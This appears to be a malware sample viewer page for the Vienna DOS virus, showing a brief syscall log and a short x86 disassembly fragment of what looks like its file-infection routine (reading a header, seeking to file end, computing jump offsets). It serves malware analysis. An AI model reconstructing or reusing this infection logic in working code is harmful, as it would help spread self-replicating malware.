Sample viewer

vx.netlux.org/Virus.DOS.Vienna.642.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:25:02.687509815Z 53 PC: 12e43 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:25:02.688724059Z 42 PC: 12f67 | Get date 0x12f67: ret
0x12f68: mov ah, 0x3f
0x12f6a: mov cx, 3
0x12f6d: mov dx, 0xa
0x12f70: add dx, si
0x12f72: call 0x22f60
0x12f75: jb 0x12fcf
0x12f77: cmp ax, 3
0x12f7a: jne 0x12fcf
0x12f7c: mov ax, 0x4202
0x12f7f: mov cx, 0
0x12f82: mov dx, 0
0x12f85: call 0x22f60
0x12f88: jb 0x12fcf
0x12f8a: mov cx, ax
0x12f8c: sub ax, 3
0x12f8f: mov word ptr [si + 0xe], ax
0x12f92: add cx, 0x2e5
0x12f96: mov di, si
0x12f98: sub di, 0x1e3